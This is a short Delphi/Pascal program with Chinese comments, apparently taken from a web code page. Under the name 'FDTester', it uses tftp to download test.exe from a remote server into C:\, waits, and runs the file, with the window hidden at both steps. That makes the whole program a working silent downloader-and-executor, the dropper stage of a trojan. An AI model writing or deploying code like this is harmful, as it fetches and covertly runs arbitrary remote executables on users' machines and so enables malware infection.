核心提示:program FDTester;//配置部分const Server = '1.22.tv'; //tftp 服务器 域名或IP地址 ServerFileName = 'test.exe'; //在...
program FDTester;
//配置部分
const
Server = '1.22.tv'; //tftp 服务器 域名或IP地址
ServerFileName = 'test.exe'; //在服务器上的文件名
MyFileName = 'C:\test.exe'; //下载到本地以后的名字
WaitTime = 3000;//下载延迟时间(毫秒)
function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
external 'kernel32.dll' name 'WinExec';
procedure Sleep(dwMilliseconds: LongWord); stdcall;
external 'kernel32.dll' name 'Sleep';
begin
Winexec('tftp -i '+server+' get '+ServerFileName+' "'+MyFileName+'"',0);
Sleep(WaitTime);
Winexec(MyFileName,0);
end.